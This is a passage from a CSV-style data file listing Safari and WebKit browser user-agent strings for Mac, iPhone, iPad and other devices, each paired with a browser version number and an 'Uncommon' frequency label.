AppleWebKit/603.1.12 (KHTML, like Gecko) Version/10.1 Safari/603.1.12\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone U CPU iPhone OS 4_3_5 like Mac OS X en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.21 (KHTML, like Gecko) Version/10.0 Mobile/15A5278f Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\",3.2,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F68 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 EdgiOS/41.10.1.0 Mobile/15D100 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.1.1 Safari/7046A194A\",9.1,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.18 (KHTML, like Gecko) Version/4.0 Safari/528.17\",4,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E233 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.5 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.5\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Safari/604.1.34\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; ARM Mac OS X) AppleWebKit/538.15 (KHTML, like Gecko) Safari/538.15 Version/6.0\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.23(KHTML, like Gecko) Version/10.2 Safari/604.1.23\",10.2,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.0.0 Safari/538.1\",,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.7.0 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\",3,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A466 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E236 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10602.4.8 Safari/10602.4.8.0.1\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A)\",7,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Safari/601.6.17\",,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Coast/1.0.2.62956 Mobile/10B329 Safari/7534.48.3\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.18 (KHTML, like Gecko) Version/9.2 Safari/602.1.18\",9.2,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G29 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X; %lang2%) adbeat.com/policy AppleWebKit/534.46 (KHTML, like Gecko) Version/10.0 Mobile/9A334 Safari/7534.48.3\",10,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Designer Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.32 (KHTML, like Gecko) Version/10.0 Safari/602.1.32\",10,Uncommon\n\"Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16\",4,Uncommon\n\"Mozilla/5.0 (iPhone Simulator; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5181f Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7\",5.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17\",3.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B71 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.12 (KHTML, like Gecko) Version/3.0.4 Safari/523.12\",3,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/533.1 (KHTML, like Gecko) Version/8.0 Safari/533.1\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU iPad OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.6 Safari/534.57.2\",5.1,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13BC75 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/604.1.5 (KHTML, like Gecko) Version/10.2 Safari/604.1.5\",10.2,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; nl-nl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.6 (KHTML, like Gecko) Version/10.0 Mobile/14G57 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit/535.18.5 (KHTML, like Gecko) Version/5.2 Safari/535.18.5\",5.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 EdgiOS/41.41.4.0 Mobile/15B202 Safari/604.3.5\",11,Uncommon\n\"Mozilla/5.0 (webOS/1.4.5.1; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pixi/1.1\",1.0,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1; en-US) AppleWebKit/535.12 (KHTML, like Gecko) Version/5.0.1 Safari/535.12\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Coast/2.0.0.67915 Mobile/11B554a Safari/7534.48.3\",,Uncommon\nIpad Iphone Safari,,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A ACHEETAHI/1\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/11.0 Safari/604.1.38\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/603.3.8 (KHTML, like Gecko) Safari/603.3.8\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.41 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1 AlohaBrowser/2.0\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/5.0.6 Safari/533.22.3\",5,Uncommon\n\"Mozilla/5.0 (Phone; U; CPU like Mac OS X; en-gb) AppleWebKit/532+ (KHTML, like Gecko) Version/10.1 Mobile/1A538b Safari/419.3\",10.1,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B144 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Safari/531.9\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.3 (KHTML, like Gecko) Version/10.0 Mobile/14F5080a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; SBooksNet/1.0; +http://s-books.net/crawl_policy)\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5214d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.44 (KHTML, like Gecko) Version/8.0 Safari/538.44\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_10_5 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_0 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A432 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.25 (KHTML, like Gecko) Version/11.0 Safari/604.1.25\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.3 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.3\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G33 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7 electricmobilesimulator\",4,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A344 Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1.40 (KHTML, like Gecko) Version/10.0 Mobile/14A5309d Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.1 (KHTML, like Gecko) Version/10.0 Mobile/14F5065b Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1\t\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) WebClip/10601.2.3 Safari/10601.2.7.2\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.5\",10.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.28 (KHTML, like Gecko) Version/11.0 Mobile/15A5318g Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit/537.35.1 (KHTML, like Gecko) Version/6.1 Safari/537.35.1\",6.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.29 (KHTML, like Gecko) Version/10.0 Mobile/14E5249d Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.340) AppleWebKit/530+ (KHTML, like Gecko) Version/4.0 Safari/530.17 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/4.1.3 Safari/533.19.4\",4.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B87 Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; zh-tw) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\",5,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B146 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.15 (KHTML, like Gecko) Safari/538.15 Version/6.0 dwb/2014.04.23\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/0600.1.25 (KHTML, like Gecko) FluidApp Version/1955 Safari/0600.1.25\",,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/6.1.3 Safari/537.75.14\",6.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_6 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8E200 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en_US) AppleWebKit/522.7 (KHTML, like Gecko) Dreamweaver/10.0.0.4117 Version/3.0 Safari/522.7\",3,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1 AlohaBrowser/1.4\",10,Uncommon\n\"Mozilla/5.0 (compatible; Odyssey Web Browser; AROS; rv:1.16) AppleWebKit/535.14 (KHTML, like Gecko) OWB/1.16 Safari/535.14\",,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1\",10,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.71 (KHTML like Gecko) Version/7.0 Safari/537.71,7,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.31 (KHTML, like Gecko) Version/11.0 Mobile/15A5327g Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4\",8,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) demobrowser/0.1 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8\",9.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F5089a Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en_US) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (X11; U; CrOS i686 0.13.507) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12\",8,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.7 (KHTML, like Gecko) Version/10.0 Mobile/14C5069c Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; fr-fr) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-us) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15\",3,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.1 Safari/601.3.9\",9.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Mobile/14E304 Safari/602.1\",10.1,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 EdgiOS/41.9.0.0 Mobile/15D60 Safari/604.5.6\",11,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; es-es) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS_5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version 5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Safari/602.1.31\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.111.15 (KHTML, like Gecko) Safari Version/11.1.3\",11.1,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-us) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3\",5.1,Uncommon\n\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E5191d Safari/601.1\",9,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; nl-nl) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.2 Safari/605.1.15\",11.2,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A342 Safari/601.1)\",9,Uncommon\n\"Mozilla/5.0 (iPod; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/1533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/61533.18.5\",5,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 5_0_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\",4,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/11.0.1 Safari/601.3.9\",11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.100 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.100\",11,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 Newsan/2.0 (Hisense/1.1; TV)\",5.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7\",11,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.3 Mobile/14E277 Safari/603.1.30\",10.3,Uncommon\n\"Mozilla/5.0 (iPad;U;CPU OS 6_0 like Mac OS X;en-us)AppleWebKit/536.26(KHTML,like Gecko)Version/6.0 Mobile/10A5355d Safari/8536.25\",6,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) WebClip/6534.51.13 Safari/6534.59.10\",,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\",3.1,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D23 Safari/602.1\",10,Uncommon\n\"Mozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.28.8+ (KHTML, like Gecko) Version/5.0.6 Safari/533.22.3\",5,Uncommon\n\"Mozilla/5.0 (iPod touch; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53\",7,Uncommon\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9\",4,Uncommon\n\"Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8L1 Safari/6533.18.5\",5,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.34 (KHTML, like Gecko) RelIdApp/3.1.6 Safari/534.34\",,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/10.1 Safari/602.1 EdgiOS/41.10.1.0\",10.1,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.43 (KHTML, like Gecko) Version/9.0 Safari/601.1.43\",9,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) 